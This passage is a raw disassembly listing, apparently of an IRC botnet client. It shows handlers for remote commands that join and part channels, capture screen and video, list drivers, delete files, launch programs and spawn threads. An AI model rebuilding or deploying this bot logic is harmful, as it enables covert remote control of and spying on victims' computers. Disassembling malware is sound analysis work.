test eax, eax
jle short loc_4088B2
push [ebp+arg_10]
call sub_41E710
imul eax, 3E8h
pop ecx
push eax
call ds:dword_4F534C ; Sleep
loc_4088B2: ; CODE XREF: sub_401C87+6C13j
push offset dword_442AE4
call sub_415A3C
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4088C6: ; CODE XREF: sub_401C87+4AF7j
; sub_401C87+4B0Ej
push [ebp+var_8C]
push offset dword_442AF8
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4076C4
cmp [ebp+var_C], ebx
jz loc_409A67
push edi
push [ebp+var_C]
call sub_41EBB0
inc edi
push offset aRepeat_0 ; "repeat"
push edi
mov esi, eax
call sub_41F7E0
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2C0]
jz short loc_408981
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41E510
push esi
lea eax, [ebp+var_2C0]
push offset dword_442B14
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+arg_10]
call sub_41E710
add esp, 38h
test eax, eax
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
add eax, [ebp+arg_24]
pop ecx
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_408981: ; CODE XREF: sub_401C87+6C85j
push offset unk_442B2C
jmp loc_40922B
; ---------------------------------------------------------------------------
loc_40898B: ; CODE XREF: sub_401C87+4AC9j
; sub_401C87+4AE0j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41E510
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41E510
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41E510
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_208C], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
mov [ebp+var_2218], esi
push offset unk_442B60
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 0Fh
push eax
call sub_40B691
add esp, 40h
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset sub_414C64
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_408A4F
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442B94
jmp loc_408B13
; ---------------------------------------------------------------------------
loc_408A47: ; CODE XREF: sub_401C87+6DCEj
push 32h
call ds:dword_4F534C ; Sleep
loc_408A4F: ; CODE XREF: sub_401C87+6DADj
cmp [ebp+var_2088], ebx
jz short loc_408A47
jmp loc_408B22
; ---------------------------------------------------------------------------
loc_408A5C: ; CODE XREF: sub_401C87+4A9Bj
; sub_401C87+4AB2j
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41E510
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41E510
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41E510
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2220], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
mov [ebp+var_23AC], esi
push offset dword_442BD0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 11h
push eax
call sub_40B691
add esp, 40h
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset sub_41440C
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_408B4A
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442BFC
loc_408B13: ; CODE XREF: sub_401C87+6DBBj
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
loc_408B22: ; CODE XREF: sub_401C87+6DD0j
; sub_401C87+6ECBj
cmp [ebp+var_8], ebx
jnz loc_40758A
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_407582
; ---------------------------------------------------------------------------
loc_408B42: ; CODE XREF: sub_401C87+6EC9j
push 32h
call ds:dword_4F534C ; Sleep
loc_408B4A: ; CODE XREF: sub_401C87+6E7Ej
cmp [ebp+var_221C], ebx
jz short loc_408B42
jmp short loc_408B22
; ---------------------------------------------------------------------------
loc_408B54: ; CODE XREF: sub_401C87+4A6Dj
; sub_401C87+4A84j
push edi
lea eax, [ebp+var_2C0]
push offset aPartS_0 ; "PART %s"
push eax
call sub_41EA60
push [ebp+arg_10]
call sub_41E710
add esp, 10h
test eax, eax
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
lea eax, [ebp+var_2C0]
push eax
push offset aS_22 ; "%s\r\n"
loc_408B99: ; CODE XREF: sub_401C87+6F7Dj
; sub_401C87+7B03j
push [ebp+arg_10]
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C2F
jmp loc_404AE3
; ---------------------------------------------------------------------------
loc_408BB8: ; CODE XREF: sub_401C87+4A3Fj
; sub_401C87+4A56j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push edi
push offset aJoinSS_1 ; "JOIN %s %s"
push eax
call sub_41EA60
push [ebp+arg_10]
call sub_41E710
add esp, 14h
test eax, eax
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
lea eax, [ebp+var_2C0]
push eax
push offset aS_23 ; "%s\r\n"
jmp short loc_408B99
; ---------------------------------------------------------------------------
loc_408C06: ; CODE XREF: sub_401C87+4A11j
; sub_401C87+4A28j
push edi
lea eax, [ebp+var_2C0]
push offset aNickS_6 ; "NICK %s"
push eax
call sub_41EA60
mov esi, [ebp+arg_10]
push esi
call sub_41E710
add esp, 10h
test eax, eax
jle loc_409A67
push esi
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
lea eax, [ebp+var_2C0]
push eax
push offset aS_24 ; "%s\r\n"
push esi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C2F
push edi
push esi
push offset dword_442C6C
loc_408C69: ; CODE XREF: sub_401C87+706Aj
; sub_401C87+70D6j ...
call sub_415AB0
jmp loc_404408
; ---------------------------------------------------------------------------
loc_408C73: ; CODE XREF: sub_401C87+49E3j
; sub_401C87+49FAj
cmp [ebp+var_C], ebx
jz loc_409A67
push edi
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408CA2
push esi
lea eax, [ebp+var_2C0]
push offset dword_442C88
push eax
call sub_41EA60
add esp, 0Ch
loc_408CA2: ; CODE XREF: sub_401C87+7004j
mov edi, [ebp+arg_10]
push edi
call sub_41E710
test eax, eax
pop ecx
jle loc_409A67
push edi
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
lea eax, [ebp+var_2C0]
push eax
push offset dword_442C90
push edi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C2F
push esi
push edi
push offset dword_442C98
jmp loc_408C69
; ---------------------------------------------------------------------------
loc_408CF6: ; CODE XREF: sub_401C87+49B5j
; sub_401C87+49CCj
cmp [ebp+var_C], ebx
jz loc_409A67
push edi
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409A67
mov edi, [ebp+arg_10]
push edi
call sub_41E710
test eax, eax
pop ecx
jle loc_409A67
push edi
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
push esi
push offset dword_442CB4
push edi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C2F
push esi
push edi
push offset dword_442CBC
jmp loc_408C69
; ---------------------------------------------------------------------------
loc_408D62: ; CODE XREF: sub_401C87+4987j
; sub_401C87+499Ej
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409A67
push esi
push offset dword_442CD8
push [ebp+arg_4]
call sub_409C2F
push esi
push offset unk_442CE4
loc_408D96: ; CODE XREF: sub_401C87+7CAAj
; sub_401C87+7CC7j ...
call sub_415AB0
jmp loc_40368A
; ---------------------------------------------------------------------------
loc_408DA0: ; CODE XREF: sub_401C87+4959j
; sub_401C87+4970j
push [ebp+var_8C]
push offset a332_3 ; "332"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4076C4
push edi
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
call sub_41E710
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_4F534C ; Sleep
push [ebp+esi+var_84]
push edi
push offset aJoinSS_2 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push offset dword_442D20
call sub_415A3C
jmp loc_40368A
; ---------------------------------------------------------------------------
loc_408E04: ; CODE XREF: sub_401C87+492Bj
; sub_401C87+4942j
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
call sub_41BC70
push [ebp+arg_8]
mov esi, eax
call sub_41BC70
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41EBB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409A67
push esi
lea eax, [ebp+var_2C0]
push offset dword_442D34
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409C75
push esi
push [ebp+arg_10]
push offset unk_442D40
call sub_415AB0
add esp, 2Ch
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_408E76: ; CODE XREF: sub_401C87+48FDj
; sub_401C87+4914j
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
call sub_41BC70
push [ebp+arg_8]
mov esi, eax
call sub_41BC70
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41EBB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409A67
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409C75
push esi
push [ebp+arg_10]
push offset unk_442D5C
call sub_415AB0
add esp, 20h
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_408ED0: ; CODE XREF: sub_401C87+48CFj
; sub_401C87+48E6j
cmp [ebp+var_C], ebx
jz loc_4076C4
push edi
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_4076C4
push eax
push [ebp+arg_10]
call sub_415944
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_442D7C
push eax
call sub_41EA60
add esp, 14h
jmp loc_407569
; ---------------------------------------------------------------------------
loc_408F11: ; CODE XREF: sub_401C87+48A1j
; sub_401C87+48B8j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419036
jmp loc_40427B
; ---------------------------------------------------------------------------
loc_408F2B: ; CODE XREF: sub_401C87+4863j
; sub_401C87+4878j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz loc_409A67
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_408FC6
push esi
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2C0]
jz short loc_408FB4
push esi
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS_1 ; "%s %s %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41E510
push esi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push offset unk_442DAC
push eax
call sub_41EA60
add esp, 34h
inc [ebp+arg_24]
jmp loc_409398
; ---------------------------------------------------------------------------
loc_408FB4: ; CODE XREF: sub_401C87+72D9j
push offset unk_442DD4
push eax
call sub_41EA60
pop ecx
pop ecx
jmp loc_409398
; ---------------------------------------------------------------------------
loc_408FC6: ; CODE XREF: sub_401C87+72C2j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B975
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset dword_442E04
push 200h
push eax
call sub_41EC30
add esp, 24h
jmp loc_409398
; ---------------------------------------------------------------------------
loc_40900F: ; CODE XREF: sub_401C87+4839j
; sub_401C87+484Ej
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40906A
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_409057
push edi
call sub_415D1B
cmp eax, 1
pop ecx
lea eax, [ebp+var_2C0]
jnz short loc_409050
push edi
push offset unk_442E28
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_40906A
; ---------------------------------------------------------------------------
loc_409050: ; CODE XREF: sub_401C87+73B6j
push offset unk_442E54
jmp short loc_409062
; ---------------------------------------------------------------------------
loc_409057: ; CODE XREF: sub_401C87+73A4j
push offset unk_442E84
lea eax, [ebp+var_2C0]
loc_409062: ; CODE XREF: sub_401C87+73CEj
push eax
call sub_41EA60
pop ecx
pop ecx
loc_40906A: ; CODE XREF: sub_401C87+7399j
; sub_401C87+73C7j
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4090F7
xor edi, edi
loc_40907F: ; CODE XREF: sub_401C87+745Bj
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call ds:dword_4E2FF8
test eax, eax
jz short loc_4090DE
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_442EC8
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 28h
loc_4090DE: ; CODE XREF: sub_401C87+7419j
inc edi
cmp edi, 0Ah
jl short loc_40907F
lea eax, [ebp+var_2C0]
push offset unk_442EF0
push eax
call sub_41EA60
pop ecx
pop ecx
loc_4090F7: ; CODE XREF: sub_401C87+73F4j
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409198
cmp [ebp+esi+var_88], ebx
jz short loc_409185
cmp [ebp+esi+var_84], ebx
jz short loc_409185
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_409185
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_409185
push eax
call sub_41E710
pop ecx
push eax
push edi
call sub_41E710
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41E710
pop ecx
push eax
push [ebp+esi+var_88]
call sub_415F56
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_40917E
push [ebp+esi+var_88]
push offset unk_442F20
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_409198
; ---------------------------------------------------------------------------
loc_40917E: ; CODE XREF: sub_401C87+74DEj
push offset unk_442F4C
jmp short loc_409190
; ---------------------------------------------------------------------------
loc_409185: ; CODE XREF: sub_401C87+748Ej
; sub_401C87+7497j ...
push offset unk_442F80
lea eax, [ebp+var_2C0]
loc_409190: ; CODE XREF: sub_401C87+74FCj
push eax
call sub_41EA60
pop ecx
pop ecx
loc_409198: ; CODE XREF: sub_401C87+7481j
; sub_401C87+74F5j
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409377
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz loc_409243
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_409243
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_409243
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_409243
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_409243
push esi
call sub_41E710
pop ecx
push eax
push edi
call sub_41E710
pop ecx
push eax
push [ebp+arg_18]
call sub_41E710
pop ecx
push eax
push [ebp+arg_0]
call sub_41E710
pop ecx
push eax
push [ebp+arg_1C]
call sub_41614F
add esp, 14h
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_409239
push [ebp+arg_1C]
push offset unk_442FC0
loc_40922B: ; CODE XREF: sub_401C87+6CFFj
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_409377
; ---------------------------------------------------------------------------
loc_409239: ; CODE XREF: sub_401C87+759Aj
push offset unk_442FF0
jmp loc_40936F
; ---------------------------------------------------------------------------
loc_409243: ; CODE XREF: sub_401C87+7534j
; sub_401C87+7546j ...
push offset dword_443030
lea eax, [ebp+var_2C0]
jmp loc_40936F
; ---------------------------------------------------------------------------
loc_409253: ; CODE XREF: sub_401C87+4020j
; sub_401C87+4035j
push offset word_44306E
push [ebp+arg_10]
call sub_41E490
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_4092D1
mov esi, 200h
push edi
lea eax, [ebp+var_2C0]
push esi
push eax
call sub_41EFB0
add esp, 0Ch
jmp short loc_4092AB
; ---------------------------------------------------------------------------
loc_409280: ; CODE XREF: sub_401C87+7626j
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push edi
lea eax, [ebp+var_2C0]
push esi
push eax
call sub_41EFB0
add esp, 20h
loc_4092AB: ; CODE XREF: sub_401C87+75F7j
test eax, eax
jnz short loc_409280
push edi
call sub_41BCF0
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_443070
push eax
call sub_41EA60
add esp, 10h
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_4092D1: ; CODE XREF: sub_401C87+75DFj
push [ebp+arg_10]
push offset dword_443094
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_4092DE: ; CODE XREF: sub_401C87+3FF6j
; sub_401C87+400Bj
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409A67
push offset word_4430B6
push esi
call sub_41F630
push esi
call sub_41A6D9
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_409323
push offset unk_4430B8
jmp short loc_40936F
; ---------------------------------------------------------------------------
loc_409323: ; CODE XREF: sub_401C87+7693j
push esi
push offset dword_4430E4
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_409398
; ---------------------------------------------------------------------------
loc_409334: ; CODE XREF: sub_401C87+3FCCj
; sub_401C87+3FE1j
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409A67
push eax
call sub_418CE5
test eax, eax
pop ecx
lea eax, [ebp+var_2C0]
jnz short loc_40936A
push offset unk_4430FC
jmp short loc_40936F
; ---------------------------------------------------------------------------
loc_40936A: ; CODE XREF: sub_401C87+76DAj
push offset dword_44311C
loc_40936F: ; CODE XREF: sub_401C87+75B7j
; sub_401C87+75C7j ...
push eax
call sub_41EA60
pop ecx
pop ecx
loc_409377: ; CODE XREF: sub_401C87+7522j
; sub_401C87+75ADj
cmp [ebp+var_8], ebx
jnz short loc_409398
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_409398: ; CODE XREF: sub_401C87+7328j
; sub_401C87+733Aj ...
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
pop ecx
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_4093AA: ; CODE XREF: sub_401C87+3FA2j
; sub_401C87+3FB7j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41E510
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_4093DB
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41E510
add esp, 0Ch
loc_4093DB: ; CODE XREF: sub_401C87+7740j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41E510
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C0]
push offset dword_443138
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 1Ch
push eax
call sub_40B691
add esp, 24h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41BA41
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40947E
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_443150
jmp loc_4045FF
; ---------------------------------------------------------------------------
loc_409476: ; CODE XREF: sub_401C87+77FDj
push 32h
call ds:dword_4F534C ; Sleep
loc_40947E: ; CODE XREF: sub_401C87+77DCj
cmp [ebp+var_1EF4], ebx
jz short loc_409476
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_40948B: ; CODE XREF: sub_401C87+3F78j
; sub_401C87+3F8Dj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_410287
push [ebp+arg_10]
push offset dword_443190
jmp loc_408C69
; ---------------------------------------------------------------------------
loc_4094AA: ; CODE XREF: sub_401C87+3F4Ej
; sub_401C87+3F63j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41E4B0
push [ebp+arg_10]
lea eax, [ebp+var_1D34]
push offset dword_4431A8
push eax
call sub_41EA60
mov eax, [ebp+arg_4]
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+var_4]
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C0]
push offset unk_4431AC
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40B691
add esp, 40h
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset sub_416788
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40957F
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4431D0
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_409577: ; CODE XREF: sub_401C87+78FEj
push 32h
call ds:dword_4F534C ; Sleep
loc_40957F: ; CODE XREF: sub_401C87+78DDj
cmp [ebp+var_1BA0], ebx
jz short loc_409577
jmp loc_402593
; ---------------------------------------------------------------------------
loc_40958C: ; CODE XREF: sub_401C87+3F24j
; sub_401C87+3F39j
push [ebp+arg_10]
call ds:dword_4F5354 ; DeleteFileA
test eax, eax
jz short loc_4095A3
push [ebp+arg_10]
push offset dword_44320C
jmp short loc_4095AE
; ---------------------------------------------------------------------------
loc_4095A3: ; CODE XREF: sub_401C87+7910j
push offset dword_443228
call sub_418C20
push eax
loc_4095AE: ; CODE XREF: sub_401C87+791Aj
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
loc_4095BF: ; CODE XREF: sub_401C87+7A0Dj
add esp, 10h
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_4095C7: ; CODE XREF: sub_401C87+3EFAj
; sub_401C87+3F0Fj
push [ebp+arg_10]
call sub_41E710
push eax
call sub_41A652
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+arg_10]
cmp eax, esi
lea eax, [ebp+var_2C0]
jnz short loc_4095EE
push offset unk_443234
jmp short loc_4095F3
; ---------------------------------------------------------------------------
loc_4095EE: ; CODE XREF: sub_401C87+795Ej
push offset unk_443258
loc_4095F3: ; CODE XREF: sub_401C87+7965j
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406F42
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
jmp loc_406F42
; ---------------------------------------------------------------------------
loc_409626: ; CODE XREF: sub_401C87+3ED0j
; sub_401C87+3EE5j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_41A334
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_40964C
push offset unk_443288
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401C87+79B9j
push offset unk_4432A8
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_409656: ; CODE XREF: sub_401C87+3EA6j
; sub_401C87+3EBBj
mov esi, [ebp+arg_10]
push esi
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D4], eax
jz short loc_409699
push 2
lea eax, [ebp+var_2D4]
push 4
push eax
call ds:dword_4E2F80 ; gethostbyaddr
cmp eax, ebx
jz short loc_4096BA
push dword ptr [eax]
push esi
push offset unk_4432D8
loc_409688: ; CODE XREF: sub_401C87+7A31j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
jmp loc_4095BF
; ---------------------------------------------------------------------------
loc_409699: ; CODE XREF: sub_401C87+79E2j
push esi
call ds:dword_4E304C ; gethostbyname
cmp eax, ebx
jz short loc_4096BA
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_4E3054 ; inet_ntoa
push eax
push esi
push offset unk_4432F8
jmp short loc_409688
; ---------------------------------------------------------------------------
loc_4096BA: ; CODE XREF: sub_401C87+79F7j
; sub_401C87+7A1Bj
push offset unk_443318
jmp loc_40649E
; ---------------------------------------------------------------------------
loc_4096C4: ; CODE XREF: sub_401C87+3E7Cj
; sub_401C87+3E91j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41E510
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_443340
push eax
call sub_41EA60
add esp, 18h
jmp loc_407148
; ---------------------------------------------------------------------------
loc_4096ED: ; CODE XREF: sub_401C87+3E52j
; sub_401C87+3E67j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen_1 ; "open"
push ebx
call ds:dword_4E2F34
push [ebp+arg_10]
test eax, eax
jz short loc_409711
push offset unk_443370
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_409711: ; CODE XREF: sub_401C87+7A7Ej
push offset unk_443390
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_40971B: ; CODE XREF: sub_401C87+3E28j
; sub_401C87+3E3Dj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov ds:byte_43F098, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_4433B4
jmp loc_406190
; ---------------------------------------------------------------------------
loc_409734: ; CODE XREF: sub_401C87+3DFEj
; sub_401C87+3E13j
push [ebp+arg_10]
call sub_41E710
test eax, eax
pop ecx
jle loc_409A67
push [ebp+arg_10]
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_409A67
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B38F
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_7 ; "NICK %s"
push eax
call sub_41EA60
add esp, 1Ch
lea eax, [ebp+var_2C0]
push eax
push offset aS_25 ; "%s\r\n"
jmp loc_408B99
; ---------------------------------------------------------------------------
loc_40978F: ; CODE XREF: sub_401C87+3DD4j
; sub_401C87+3DE9j
mov esi, [ebp+arg_10]
push esi
call sub_41E710
test eax, eax
pop ecx
jle loc_4076C4
push esi
call sub_41E710
cmp eax, 400h
pop ecx
jge loc_4076C4
push offset aQuitLater_0 ; "QUIT :later\r\n"
push esi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call sub_409C2F
pop ecx
pop ecx
push 1F4h
call ds:dword_4F534C ; Sleep
push esi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F0C[eax]
call ds:dword_4E3060 ; closesocket
push [ebp+var_10]
push esi
call sub_41E710
imul eax, 234h
pop ecx
push ds:dword_455F14[eax]
call ds:dword_4F5380 ; TerminateThread
push esi
call sub_41E710
imul eax, 234h
push esi
